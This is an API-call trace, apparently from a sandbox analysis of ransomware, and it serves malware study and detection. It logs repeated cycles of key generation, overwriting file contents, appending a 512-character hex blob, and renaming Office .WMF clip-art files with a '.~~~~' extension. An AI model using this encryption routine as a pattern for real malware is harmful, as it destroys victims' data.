	[0124.813] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.813] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.813] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24480340835) returned 1
	[0124.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3db7c90, dwHighDateTime=0x1d60e1e)) 
	[0124.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820a28
	[0124.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820a28 | out: hHeap=0x300000) returned 1
	[0124.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f18b8
	[0124.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bff68
	[0124.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f18b8 | out: hHeap=0x300000) returned 1
	[0124.814] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.814] GetLastError () returned 0x0
	[0124.815] GetLastError () returned 0x0
	[0124.815] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.815] GetLastError () returned 0x0
	[0124.815] GetLastError () returned 0x0
	[0125.010] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff668, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.010] WriteFile (in: hFile=0xc4, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x998, lpOverlapped=0x0) returned 1
	[0125.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.011] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.011] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.012] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.012] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.012] CloseHandle (hObject=0xc4) returned 1
	[0125.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c04c0
	[0125.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf.~~~~")) returned 1
	[0125.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04c0 | out: hHeap=0x300000) returned 1
	[0125.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.122] GetLastError () returned 0x0
	[0125.377] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0125.378] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.378] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.379] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24536899166) returned 1
	[0125.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4312e10, dwHighDateTime=0x1d60e1e)) 
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a3db50
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a3db50 | out: hHeap=0x300000) returned 1
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f18b8
	[0125.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfa10
	[0125.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f18b8 | out: hHeap=0x300000) returned 1
	[0125.380] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0125.380] GetLastError () returned 0x0
	[0125.380] GetLastError () returned 0x0
	[0125.380] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0125.380] GetLastError () returned 0x0
	[0125.380] GetLastError () returned 0x0
	[0125.384] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff9248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.384] WriteFile (in: hFile=0xc4, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6db8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x6db8, lpOverlapped=0x0) returned 1
	[0125.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.386] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.386] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.387] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.387] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.387] CloseHandle (hObject=0xc4) returned 1
	[0125.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfa10
	[0125.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf.~~~~")) returned 1
	[0125.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfa10 | out: hHeap=0x300000) returned 1
	[0125.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.389] GetLastError () returned 0x0
	[0125.389] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0125.390] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.390] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.391] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24538067399) returned 1
	[0125.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4338f70, dwHighDateTime=0x1d60e1e)) 
	[0125.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0125.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820c90
	[0125.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820c90 | out: hHeap=0x300000) returned 1
	[0125.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f18b8
	[0125.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c05f0
	[0125.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f18b8 | out: hHeap=0x300000) returned 1
	[0125.391] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0125.392] GetLastError () returned 0x0
	[0125.392] GetLastError () returned 0x0
	[0125.392] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0125.392] GetLastError () returned 0x0
	[0125.392] GetLastError () returned 0x0
	[0125.395] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff583e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.395] WriteFile (in: hFile=0xc4, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xa7c2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0xa7c2, lpOverlapped=0x0) returned 1
	[0125.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.397] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.397] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.397] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.397] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.397] CloseHandle (hObject=0xc4) returned 1
	[0125.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0000
	[0125.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf.~~~~")) returned 1
	[0125.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0000 | out: hHeap=0x300000) returned 1
	[0125.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.399] GetLastError () returned 0x0
	[0125.399] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0125.401] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.401] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.401] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24539126455) returned 1
	[0125.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb435f0d0, dwHighDateTime=0x1d60e1e)) 
	[0125.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0125.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820cc8
	[0125.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820cc8 | out: hHeap=0x300000) returned 1
	[0125.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0688
	[0125.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.402] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0125.402] GetLastError () returned 0x0
	[0125.402] GetLastError () returned 0x0
	[0125.402] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0125.403] GetLastError () returned 0x0
	[0125.403] GetLastError () returned 0x0
	[0125.407] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffd846, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.407] WriteFile (in: hFile=0xc4, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x27ba, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x27ba, lpOverlapped=0x0) returned 1
	[0125.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.409] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.409] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.409] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.409] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.409] CloseHandle (hObject=0xc4) returned 1
	[0125.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0558
	[0125.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf.~~~~")) returned 1
	[0125.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0558 | out: hHeap=0x300000) returned 1
	[0125.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.455] GetLastError () returned 0x0
	[0125.685] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0125.709] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.709] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0125.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0125.710] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24569985841) returned 1
	[0125.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4632af0, dwHighDateTime=0x1d60e1e)) 
	[0125.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0125.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0125.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0125.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821208
	[0125.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821208 | out: hHeap=0x300000) returned 1
	[0125.710] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c14c8
	[0125.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.711] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0125.711] GetLastError () returned 0x0
	[0125.711] GetLastError () returned 0x0
	[0125.711] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0125.711] GetLastError () returned 0x0
	[0125.712] GetLastError () returned 0x0
	[0125.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffecf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.716] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1310, lpOverlapped=0x0) returned 1
	[0125.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0125.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.718] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.718] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.718] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.718] CloseHandle (hObject=0x130) returned 1
	[0125.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c14c8
	[0125.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf.~~~~")) returned 1
